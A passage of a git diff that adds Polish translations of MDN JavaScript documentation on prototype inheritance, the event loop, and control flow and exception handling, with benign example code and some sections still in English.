+// undefined, because d doesn't inherit from Object.prototype
+</pre>
+
+<div>
+<h3 id="Za_pomocą_słowa_kluczowego_class">Za pomocą słowa kluczowego <code>class</code></h3>
+
+<p>ECMAScript 6 wprowadził zestaw nowych słów kluczowych do implementacji <a href="/en-US/docs/Web/JavaScript/Reference/Classes">klas</a>. Mimo, że konstrukcje te mogą wydawać się znajome programistom języków opartych na klasach, nie są one tym samym. JavaScript wciąż opiera się na prototypach. Nowe słowa kluczowe to {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} oraz {{jsxref("Operators/super", "super")}}.</p>
+
+<pre class="brush: js">"use strict";
+
+class Polygon {
+  constructor(height, width) {
+  this.height = height;
+  this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+  super(sideLength, sideLength);
+  }
+ get area() {
+  return this.height * this.width;
+  }
+  set sideLength(newLength) {
+  this.height = newLength;
+  this.width = newLength;
+  }
+}
+
+var square = new Square(2);
+</pre>
+
+<h3 id="Wydajność">Wydajność</h3>
+
+<p>Czas dostępu do właściwości znajdujących się wysoko w łańcuchu prototypów może negatywnie wpływać na wydajność, co może mieć znaczenie w przypadku kodu, którego szybkość wykonania jest krytyczna. W dodatku próba dostępu do nieistniejącej właściwości zawsze powoduje przeszukanie pełnego łańcucha prototypów.</p>
+
+<p>Kiedy iterujemy po właściwościach obiektu, sięgamy do <strong>każdej</strong> właściwości widocznej w łańcuchu prototypów.</p>
+
+<p>Aby sprawdzić czy obiekt ma właściwość zdefiniowaną na nim samym, a nie gdzieś w łańcuchu prototypów, konieczne jest użycie metody <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a>, którą wszystkie obiekty dziedziczą z <code>Object.prototype</code>.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> jest w JavaScript jedyną rzeczą, która działa na właściwościach obiektu <strong>nie</strong> przeszukując łańcucha prototypów.</p>
+
+<p>Uwaga: sprawdzenie czy właściwość jest <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> <strong>nie </strong>wystarczy. Właściwość może istnieć, a jedynie mieć akurat wartość ustawioną na <code>undefined</code>.</p>
+</div>
+
+<h3 id="Zła_praktyka_Rozszerzanie_natywnych_prototypów">Zła praktyka: Rozszerzanie natywnych prototypów</h3>
+
+<p>One mis-feature that is often used is to extend <code>Object.prototype</code> or one of the other built-in prototypes.</p>
+
+<p>This technique is called monkey patching and breaks <em>encapsulation</em>. While used by popular frameworks such as Prototype.js, there is still no good reason for cluttering built-in types with additional <em>non-standard</em> functionality.</p>
+
+<p>The <strong>only</strong> good reason for extending a built-in prototype is to backport the features of newer JavaScript engines; for example <code>Array.forEach</code>, etc.</p>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p><code>B</code> shall inherit from <code>A</code>:</p>
+
+<pre class="brush: js">function A(a){
+ this.varA = a;
+}
+
+// What is the purpose of including varA in the prototype when A.prototype.varA will <em>always</em> be shadowed by
+// this.varA, given the definition of function A above?
+A.prototype = {
+ varA : null, // Shouldn't we strike varA from the prototype as doing nothing?
+ // perhaps intended as an optimization to allocate space in hidden classes?
+ // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instance variables
+ // would be valid if varA wasn't being initialized uniquely for each instance
+ doSomething : function(){
+ // ...
+ }
+};
+
+function B(a, b){
+ A.call(this, a);
+ this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+ varB : {
+ value: null,
+ enumerable: true,
+ configurable: true,
+ writable: true
+ },
+ doSomething : {
+ value: function(){ // override
+ A.prototype.doSomething.apply(this, arguments); // call super
+ // ...
+ },
+ enumerable: true,
+ configurable: true,
+ writable: true
+ }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();
+</pre>
+
+<p>The important parts are:</p>
+
+<ul>
+ <li>Types are defined in <code>.prototype</code></li>
+ <li>You use <code>Object.create()</code> to inherit</li>
+</ul>
+
+<h2 id="prototype_and_Object.getPrototypeOf"><code>prototype</code> and <code>Object.getPrototypeOf</code></h2>
+
+<p>JavaScript is a bit confusing for developers coming from Java or C++, as it's all dynamic, all runtime, and it has no classes at all. It's all just instances (objects). Even the "classes" we simulate are just a function object.</p>
+
+<p>You probably already noticed that our <code>function A</code> has a special property called <code>prototype</code>. This special property works with the JavaScript <code>new </code>operator. The reference to the prototype object is copied to the internal <code>[[Prototype]]</code> property of the new instance. For example, when you do <code>var a1 = new A()</code>, JavaScript (after creating the object in memory and before running function <code>A()</code> with <code>this</code> defined to it) sets <code>a1.[[Prototype]] = A.prototype</code>. When you then access properties of the instance, JavaScript first checks whether they exist on that object directly, and if not, it looks in <code>[[Prototype]]</code>. This means that all the stuff you define in <code>prototype</code> is effectively shared by all instances, and you can even later change parts of <code>prototype</code> and have the changes appear in all existing instances, if you wanted to.</p>
+
+<p>If, in the example above, you do <code>var a1 = new A(); var a2 = new A();</code> then <code>a1.doSomething</code> would actually refer to <code>Object.getPrototypeOf(a1).doSomething</code>, which is the same as the <code>A.prototype.doSomething</code> you defined, i.e. <code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p>
+
+<p>In short, <code>prototype</code> is for types, while <code>Object.getPrototypeOf()</code> is the same for instances.</p>
+
+<p><code>[[Prototype]]</code> is looked at <em>recursively</em>, i.e. <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> etc., until it's found or <code>Object.getPrototypeOf </code>returns null.</p>
+
+<p>So, when you call</p>
+
+<pre class="brush: js">var o = new Foo();</pre>
+
+<p>JavaScript actually just does</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>(or something like that) and when you later do</p>
+
+<pre class="brush: js">o.someProp;</pre>
+
+<p>it checks whether <code>o</code> has a property <code>someProp</code>. If not it checks <code>Object.getPrototypeOf(o).someProp</code> and if that doesn't exist it checks <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code> and so on.</p>
+
+<div>
+<h2 id="Na_zakończenie">Na zakończenie</h2>
+
+<p>It is <strong>essential</strong> to understand the prototypal inheritance model before writing complex code that makes use of it. Also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance problems. Further, the native prototypes should <strong>never</strong> be extended unless it is for the sake of compatibility with newer JavaScript features.</p>
+</div>
diff --git a/files/pl/web/javascript/eventloop/index.html b/files/pl/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..e61f3c2a48
--- /dev/null
+++ b/files/pl/web/javascript/eventloop/index.html
@@ -0,0 +1,98 @@
+---
+title: Model współbieżności i Event Loop
+slug: Web/JavaScript/EventLoop
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>Model współbieżności w JavaScript opiera się o "event loop". Model ten jest lekko odmienny od spotykanego innych językach programowania takich jak C lub Java.</p>
+
+<h2 id="Koncepcje_środowiska_wykonawczego">Koncepcje środowiska wykonawczego</h2>
+
+<p>Poniższa sekcja objaśnia model teoretyczny. Nowoczesne silniki JavaScript implementują i optymalizują w dużej mierze opisaną semantykę.</p>
+
+<h3 id="Reprezentacja_wizualna">Reprezentacja wizualna</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="Stack">Stack</h3>
+
+<p>Wywołania funkcji formują stos (ang. stack) <em>klatek</em>.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span>b<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> a <span class="operator token">=</span> <span class="number token">10</span><span class="punctuation token">;</span>
+ <span class="keyword token">return</span> a <span class="operator token">+</span> b <span class="operator token">+</span> <span class="number token">11</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span>x<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> y <span class="operator token">=</span> <span class="number token">3</span><span class="punctuation token">;</span>
+ <span class="keyword token">return</span> <span class="function token">foo</span><span class="punctuation token">(</span>x <span class="operator token">*</span> y<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="function token">bar</span><span class="punctuation token">(</span><span class="number token">7</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//zwraca 42</span></code></pre>
+
+<p>Podczas wywoływania funkcji <code>bar</code>, tworzona jest pierwsza klatka (ang. frame), która zawiera argumenty funkcji <code>bar</code> oraz jej lokalne zmienne. Gdy <code>bar</code> wywołuje <code>foo</code>, tworzona jest kolejna klatka, która trafia na wierzch stosu. Druga klatka zawiera argumenty funkcji  <code>foo</code> dla której została utworzona oraz jej lokalne zmienne. Gdy funkcja <code>foo</code> zwraca wynik działania, klatka znajdująca się na wierzchu stosu jest usuwana (pozostawiając wyłącznie klatkę wywołującą funkcję <code>bar</code>). Gdy w kolejnym kroku funkcja <code>bar</code> zwróci wynik, stos zostaje opróżniony.</p>
+
+<h3 id="Heap">Heap</h3>
+
+<p>Sterta (ang. heap) jest pojęciem opisującym duży nieuporządkowany obszar pamięci. W nim przechowywane są obiekty.</p>
+
+<h3 id="Queue">Queue</h3>
+
+<p>Środowisko wykonawcze (ang. runtime) JavaScript zawiera kolejkę wiadomości (ang. queue), która stanowi listę komunikatów do przetworzenia. Każda z wiadomości posiada przyporządkowaną funkcję, która przechowuje instrukcję przetworzenia danej wiadomości.</p>
+
+<p>W przeciwieństwie do stosu wiadomości są przetwarzane począwszy od najstarszej z nich (znajdującej się na początku kolejki). Przetworzenie wiadomości polega na wywołaniu odpowiadającej jej funkcji. Wywołanie funkcji powoduje stworzenie i umieszczenie na stosie nowej klatki początkowej. Przetwarzanie danej informacji zostaje zakończone, gdy nastąpi opróżnienie stosu.</p>
+
+<p>Gdy stos jest pusty, środowisko rozpoczyna przetwarzanie kolejnej informacji z kolejki.</p>
+
+<h2 id="Event_loop">Event loop</h2>
+
+<p>Nazwa <code>Event loop</code> wiąże się ze sposobem implementacji, który zwykle przypomina następujący schemat:</p>
+
+<pre class="brush: js">while(queue.waitForMessage()){
+ queue.processNextMessage();
+}</pre>
+
+<p><code>queue.waitForMessage</code> oczekuje na wiadomość tak długo, dopóki jej nie otrzyma.</p>
+
+<h3 id="Run-to-completion">"Run-to-completion"</h3>
+
+<p>W tym modelu każda z wiadomości przetwarzana jest po całkowitym zakończeniu przetwarzania poprzedniej. Oferuje to pewne udogodnienia w analizie programu polegające na tym, że po uruchomieniu funkcji nie może zostać ona wyprzedzona oraz zostanie całkowicie wykonana przed uruchomieniem kolejnego kawałka kodu (dotyczy to również modyfikowanych przez funkcję danych). Model ten różni się od stosowanego np. w języku C, gdzie uruchomiona w danym wątku funkcja może w dowolnym punkcie zostać zatrzymana w celu uruchomienia innego fragmentu kodu w kolejnym wątku.</p>
+
+<p><span id="result_box" lang="pl"><span>Wadą tego modelu jest to, że jeśli wykonanie wiadomości trwa zbyt długo, aplikacja internetowa nie jest w stanie przetworzyć interakcji użytkownika, takich jak kliknięcie lub scrollowanie.</span> <span>Przeglądarka łagodzi to za pomocą okna dialogowego "skrypt trwa zbyt długo, aby uruchomić".</span> <span>Dobrą praktyką jest dążenie, aby przetwarzanie komunikatów było krótkie, a jeśli to możliwe, należy rozbić wiadomości na kilka krótszych.</span></span></p>
+
+<h3 id="Dodawanie_wiadomości_do_kolejki">Dodawanie wiadomości do kolejki</h3>
+
+<p>W przeglądarkach internetowych wiadomości są dodawane przy każdym wystąpieniu eventu z dołączonym nasłuchiwaniem. Jeżeli brak nasłuchiwania event jest gubiony. Zatem przykładowo kliknięcie na element z nasłuchiwaniem doda nową wiadomość.</p>
+
+<p>Funkcja <code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> przyjmuje dwa argumenty: wiadomość do dodania do kolejki oraz czas (argument opcjonalny, domyślnie 0). Podany czas reprezentuje minimalne opóźnienie, po którym wiadomość trafi do kolejki. Jeżeli w kolejce nie ma innej wiadomości, zostaje ona przetworzona natychmiast po upływie danego czasu opóźnienia. Jeżeli jednak w kolejce znajdują się wiadomości, wiadomość <code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> odczeka aż inne wiadomości zostaną przetworzone. Z tego powodu drugi argument tej funkcji określa czas minimalny,  nie gwarantowany. </p>
+
+<p>Poniższy przykład ilustruje tę ideę (<code>setTimeout</code> nie zostanie uruchomiony bezpośrednio po upływie określonego czasu):</p>
+
+
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> s <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getSeconds</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token">// zwraca "2", co oznacza, że callback nie zostaje wywołany bezpośrednio po upływie 500 millisekund.</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Uruchomiono po upływie "</span> <span class="operator token">+</span> <span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getSeconds</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">-</span> s<span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">" sekund"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">500</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">while</span><span class="punctuation token">(</span><span class="keyword token">true</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">if</span><span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getSeconds</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">-</span> s <span class="operator token">&gt;=</span> <span class="number token">2</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Ok, zapętlono na 2 sekundy"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">break</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+
+
+<h3 id="Several_Runtime_communicating_together">Several Runtime communicating together</h3>
+
+<p>A web worker or a cross-origin iframe has its own stack, heap, and message queue. Two distinct runtimes can only communicate through sending messages via the <a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage"><code>postMessage</code></a> method. This method adds a message to the other runtime if the latter listens to <code>message</code> events.</p>
+
+<h2 id="Never_blocking">Never blocking</h2>
+
+<p>A very interesting property of the event loop model is that JavaScript, unlike a lot of other languages, never blocks. Handling I/O is typically performed via events and callbacks, so when the application is waiting for an <a href="/en-US/docs/Web/API/IndexedDB_API" title="/en-US/docs/IndexedDB">IndexedDB</a> query to return or an <a href="/en-US/docs/Web/API/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XHR</a> request to return, it can still process other things like user input.</p>
+
+<p>Legacy exceptions exist like <code>alert</code> or synchronous XHR, but it is considered as a good practice to avoid them. Beware, <a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311" title="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">exceptions to the exception do exist</a> (but are usually implementation bugs rather than anything else).</p>
diff --git a/files/pl/web/javascript/guide/control_flow_and_error_handling/index.html b/files/pl/web/javascript/guide/control_flow_and_error_handling/index.html
new file mode 100644
index 0000000000..f7121fa2a5
--- /dev/null
+++ b/files/pl/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -0,0 +1,380 @@
+---
+title: Przepływ danych i obsługa błędów
+slug: Web/JavaScript/Guide/Control_flow_and_error_handling
+tags:
+ - JavaScript
+ - Początkujący
+ - Przewodnik
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
+
+<p class="summary">JavaScript jest językiem zawierającym w sobie szeroki wachlarz instrukcji. Część z nich odnosi się do sterowania przepływem programu <em>(</em><em>ang. control flow)</em> i może być pomyślnie użyta w celu nadania Twojej aplikacji kolejnych poziomów interaktywności. W rozdziale tym omówimy te instrukcje.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript reference</a> zawiera wyczerpujący opis instrukcji wymienionych w tym artykule. Średnik (;) jest używany do oddzielenia od siebie kolejnych poleceń w języku JavaScript. Chodź w większości przypadków brak średnika na końcu instrukcji nie powoduje błędu, by kod był jak najbardziej semantyczny, należy go tam umieszczać.</p>
+
+<p>Każde wyrażenie w języku JavaScript jest również instrukcją. <a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a> zawiera kompletny opis wyrażeń.</p>
+
+<h2 id="Instrukcja_blokowa">Instrukcja blokowa</h2>
+
+<p>Najprostszym rodzajem instrukcji jest instrukcja blokowa, która służy do grupowania wyrażeń. Blok jest ograniczony parą nawiasów klamrowych.</p>
+
+<pre class="syntaxbox">{ wyrazenie_1; wyrazenie_2; . . . wyrazenie_n; }
+</pre>
+
+<h3 id="Przykład"><strong>Przykład</strong></h3>
+
+<p>Instrukcje blokowe są bardzo często używane w połączeniu z instrukcjami sterującymi (np. <code>if</code>, <code>for</code>, <code>while</code>).</p>
+
+<pre class="brush: js">while (x &lt; 10) {
+ x++;
+}
+</pre>
+
+<p>W tym przypadku, { x++; } jest instrukcją blokową.</p>
+
+<p><strong>Ważne</strong>: Blok w JavaScript w wersji do ECMAScript6 nie posiada własnego scope (zasięgu zmiennych). Zmienne zadeklarowane wewnątrz takiego bloku bowiem mają scope (zasięg zmiennych) związany z funkcją lub skryptem, w którym blok się bezpośrednio znajduje. Efektem tego jest to, że każda zmienna zadeklarowana w bloku istnieje również i poza nim. W innych słowach - instrukcje blokowe nie definują nowego scope (zasięgu zmiennych). Samodzielne bloki w JavaScript mogą wyprodukować zupełnie inne wyniki od tych, których moglibyśmy się spodziewać w językach takich jak C czy Java. Przykład:</p>
+
+<pre class="brush: js">var x = 1;
+{
+ var x = 2;
+}
+console.log(x); // wypisze 2
+</pre>
+
+<p>Wypisane zostanie 2 ponieważ wyrażenie var x wewnątrz bloku dzieli scope (zasięg zmiennych) z wyrażeniem var x na zewnątrz bloku. W C lub Javie, równoważny kod wypisałby 1.</p>
+
+<p>Począwszy od specyfikacji ECMAScript 6, za pomocą słowa kluczowego <code>let</code> mamy mozliwość tworzenia zmiennych o zasięgu blokowym.  </p>
+
+<h2 id="Instrukcje_warunkowe">Instrukcje warunkowe</h2>
+
+<p>Instrukcje warunkowe są zbiorem instrukcji, które pozwalają na wykonywanie danej porcji kodu gdy warunki (parametry instrukcji) zwracają wartość true. JavaScript wspiera dwa rodzaje instrukcji warunkowych:<strong> </strong><code>if . . . else</code>  oraz <code>switch</code><strong>.</strong></p>
+
+<h3 id="Instrukcje_if...else">Instrukcje <code>if...else</code></h3>
+
+<p>Instrukcja <code>if</code><strong> </strong>wykonuje blok instrukcji jeżeli jej warunki zwrócą wartość <code>true</code>. Aby obsłużyć sytuacje gdy warunki nie zostały spełnione i zwracają <code>false</code>, można posłużyć się np. instrukcją <code>else</code><strong>:</strong></p>
+
+<pre class="syntaxbox">if (warunki) {
+ intrukcja_1;
+}
+else {
+ instrukcja_2;
+}</pre>
+
+<p>Warunkami mogą być wszystkie twierdzania które można przekształcić do typu boolean (<code>true</code> lub <code>false</code>). W powyższym przykładzie <code>instrukcja_1</code> wykona się jeśli warunki zwrócą <code>true</code>, w przeciwnym wypadku wykonana zostanie <code>instrukcja_2</code>.<br>
+ <br>
+ Za pomocą <code>else if</code><strong> </strong>można tworzyć złożone sekwencyjnie testowe oparte na wielu instrukcjach warunkowych. Jeśli <code>warunek_1</code> nie zostanie spełniony, skrypt sprawdza kolejne warianty:</p>
+
+<pre class="syntaxbox">if (warunek_1) { instrukcja_1; }
+else if (warunek_2) { instrukcja_2; }
+else if (warunek_n) { instrukcja_n; }
+else { ostatnia_instrukcja; }
+</pre>
+
+<p>Aby wykonać wiele instrukcji można je zgrupować za pomocą deklaracji bloku (<code>{ ... }</code>). Mimo, że nie jest wymagane by pojedyncze instrukcje byly zawierane w bloku, warto stosować to rozwiązanie dla lepszej czytelności kodu:</p>
+
+<pre class="syntaxbox">if (warunek_1) {
+ instrukcja_1;
+  instrukcja_2;
+}
+else if (warunek_2) {
+ instrukcja_3;
+}
+else
+  instrukcja_4;
+  // Pojedyńcze instrukcje nie wymagają zawierania ich w nawiasy.
+
+</pre>
+
+<div>Wskazane jest, by nie używać przypisywania w wyrażeniu warunków:<br>
+ </div>
+
+<pre class="example-bad brush: js">if (x = y) {
+ /* instrukcje */
+}</pre>
+
+<p>Jeśli konieczne jest użycie operatora przypisania w wyrażeniu warunku, najczęściej stosowaną praktyką jest zawieranie przypisania w dodatkowe nawiasy:</p>
+
+<pre class="brush: js">if ((x = y)) {
+ /* statements here */
+}
+</pre>
+
+<h4 id="Wartości_false">Wartości false</h4>
+
+<p>Poniższe wartości użyte w wyrażeniu warunku zostaną przekształcone w wartość <code>false</code>:</p>
+
+<ul>
+ <li><code>false</code>, zmienna typu Boolean</li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code>, zmienna typu Number</li>
+ <li><code>NaN</code>, zmienna typu Number</li>
+ <li><code>""</code>, zmienna typu String</li>
+</ul>
+
+<p>Wszystkie inne wartości, włączając w to wszystkie obiekty, zostają przekształcone do wartości <code>true</code>.</p>
+
+<p>Nie należy mylić pierwotnych wartości <code>true</code> i <code>false</code> z wartościami <code>true</code> i <code>false</code> obiektu {{jsxref("Boolean")}}:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // Warunek zwróci wartość true gdyż zmienna b jest obiektem
+if (b == true) // Warunek zwróci wartość false
+</pre>
+
+<h4 id="Przykład_2"><strong>Przykład</strong></h4>
+
+<p>Następujący przykład przedstawia funkcje <code>checkData</code>, która zwróci <code>true</code> jeżeli liczba znaków w wartości elementu <code>threeChar</code> jest równa <code>3</code>, w przeciwnym wypadku zostanie wyświetlony alert i zwrócona wartość <code>false</code>.</p>
+
+<pre class="brush: js">function checkData() {
+ if (document.form1.threeChar.value.length == 3) {
+ return true;
+ } else {
+ alert("Enter exactly three characters. " +
+ document.form1.threeChar.value + " is not valid.");
+ return false;
+ }
+}
+</pre>
+
+<h3 id="Instrukcja_switch">Instrukcja <code>switch</code></h3>
+
+<p>Instrukcja <code>switch</code> pozwala na wykonanie bloku instrukcji jeśli podana wyrażenie zgadza się z identyfikatorem danego bloku. Gdy użyte zostanie słowo kluczowe <code>break</code>, switch wykonuje tylko instrukcje dopasowanego bloku. Bez niego wykonywane są wszystkie bloki poniżej dopasowania. Taka kaskadowość jest w wielu sytuacjach użyteczna.<br>
+ W przypadku gdy wyrażenie nie zostanie dopasowane do żadnego identyfikatora, wykonywany jest kod z bloku o identyfikatorze <code>default</code>. Default nie jest obowiązkowy i może zostać pominięty.</p>
+
+<pre class="syntaxbox">switch (wyrażenie) {
+ case identyfikator_1:
+ instruckje_1
+ [break;]
+ case identyfikator_2:
+ instrukcje_2
+ [break;]
+ ...
+ default:
+ instruckje_def
+ [break;]
+}
+
+</pre>
+
+<h4 id="Przykład_3"><strong>Przykład</strong></h4>
+
+<p>W następującym przykładzie, jeśli <code>fruittype</code> przekaże wartość "Bananas", program dopasuje ją do bloku z identyfikatorem "Bananas" i wykona instrukcje które zostały w tym bloku zdefiniowane. Po napotkaniu i wykonaniu instrukcji <code>break</code>, program przerywa działanie instrukcji switch. Gdyby w bloku "Bananas" nie występował break, zostałyby wykonane również instrukcje dla bloku "Cherries" i zatrzymały na tam napotkanej instrukcji <code>break</code>.</p>
+
+<pre class="brush: js">switch (fruittype) {
+ case "Oranges":
+ console.log("Oranges are $0.59 a pound.");
+ break;
+ case "Apples":
+ console.log("Apples are $0.32 a pound.");
+ break;
+ case "Bananas":
+ console.log("Bananas are $0.48 a pound.");
+ break;
+ case "Cherries":
+ console.log("Cherries are $3.00 a pound.");
+ break;
+ case "Mangoes":
+ console.log("Mangoes are $0.56 a pound.");
+ break;
+ case "Papayas":
+ console.log("Mangoes and papayas are $2.79 a pound.");
+ break;
+ default:
+ console.log("Sorry, we are out of " + fruittype + ".");
+}
+console.log("Is there anything else you'd like?");</pre>
+
+<h2 id="Instrukcje_obsługi_wyjątków">Instrukcje obsługi wyjątków</h2>
+
+<p>Możliwe jest wywoływanie wyjątków za pomocą <code>throw</code> i ich późniejsza obsługa za pomocą instrukcji <code><font face="Consolas, Liberation Mono, Courier, monospace">try...catch.</font></code></p>
+
+<ul>
+ <li><a href="#throw_statement"><code>throw</code> statement</a></li>
+ <li><a href="#try_catch_statement"><code>try...catch</code> statement</a></li>
+</ul>
+
+<h3 id="Typy_wyjątków">Typy wyjątków</h3>
+
+<p>Praktycznie każda wartość czy obiekt może posłużyć do wygenerowania wyjątku w JavaScript. Nie mniej jednak  bardziej efektywne jest skorzystanie z już wbudowanych, specjalnie do tego przygotowanych typów jak np.</p>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Error">Error</a></li>
+</ul>
+
+<h3 id="Instrukcja_throw">Instrukcja <code>throw</code></h3>
+
+<p><code>throw</code> tworzy wyjątek. Kiedy wywołujesz wyjątek, musisz podać w danym wyrażeniu wartość, którą ma ten wyjątek zwrócić:</p>
+
+<pre class="syntaxbox">throw wyrażenie;
+</pre>
+
+<p>Możesz wywoływać wyjątek z jakąkolwiek wartością. Podany kod rzuca wyjątki z wartościami różnych typów:</p>
+
+<pre class="brush: js">throw "Error2"; // Ciąg znaków
+throw 42; // Typ liczbowy
+throw true; // Wartość Boolean
+throw {toString: function() { return "I'm an object!"; } };
+</pre>
+
+<div class="note">
+<p><strong>Notatka:</strong> Za pomocą instrukcji throw możesz zwrócić rówież obiekt. Możliwe jest osniesienie wartości objektu do właściwości bloku <code>catch</code>. Poniższy przykład tworzy obiekt <code>myUserException</code> typu <code>UserException</code> i używa go w instrukcji throw.</p>
+</div>
+
+<pre class="brush: js">// Create an object type UserException
+function UserException(message) {
+ this.message = message;
+ this.name = "UserException";
+}
+
+// Make the exception convert to a pretty string when used as a string
+// (e.g. by the error console)
+UserException.prototype.toString = function() {
+ return this.name + ': "' + this.message + '"';
+}
+
+// Create an instance of the object type and throw it
+throw new UserException("Value too high");</pre>
+
+<h3 id="Instrukcja_try...catch">Instrukcja <code>try...catch</code></h3>
+
+<p><code>try...catch </code>jest instrukcją wykonującą pewien blok kodu i wyłąpującą w nim ewentualne wyjątki i błędy, które mogą zostać odpowiednio obsłużone.</p>
+
+<p>Instrukcja <code>try...catch </code>zawiera blok <code>try</code>, w którym znajduje się jedna bądź więcej instrukcji i zero lub więcej bloków <code>catch</code> określających zachowanie programu w przypadku napotkania w bloku <code>try</code> jakiegoś wyjątku. Blok <code>try</code> testuje nie tylko bezpośrednio wywołane instrukcje, ale cały stos wywołań użytych funkcji.</p>
+
+<pre class="brush: js">function test1() {
+ test2();
+};
+
+function test2() {
+  console.log(name);
+};
+
+try{
+  test1();
+}
+catch(e){
+ console.error(e); //ReferenceError: name is not defined
+}</pre>
+
+<pre class="brush: js">function getMonthName(mo) {
+ mo = mo - 1; // Adjust month number for array index (1 = Jan, 12 = Dec)
+ var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul",
+ "Aug","Sep","Oct","Nov","Dec"];
+ if (months[mo]) {
+ return months[mo];
+ } else {
+ throw "InvalidMonthNo"; //throw keyword is used here
+ }
+}
+
+try { // statements to try
+ monthName = getMonthName(myMonth); // function could throw exception
+}
+catch (e) {
+ monthName = "unknown";
+ logMyErrors(e); // pass exception object to error handler -&gt; your own function
+}
+</pre>
+
+<h4 id="Blok_catch">Blok <code><strong>catch</strong></code></h4>
+
+<p>Możesz użyć bloku <code>catch</code> do obsługi wszystkich wyjątków jakie wystąpią w bloku <code>try</code>.</p>
+
+<pre class="syntaxbox">catch (catchID) {
+ instrukcje
+}
+</pre>
+
+<p>Blok <code>catch</code> przyjmuje parametr catchID, który jest po prostu wartością wyrzuconą przez wyjątek.</p>
+
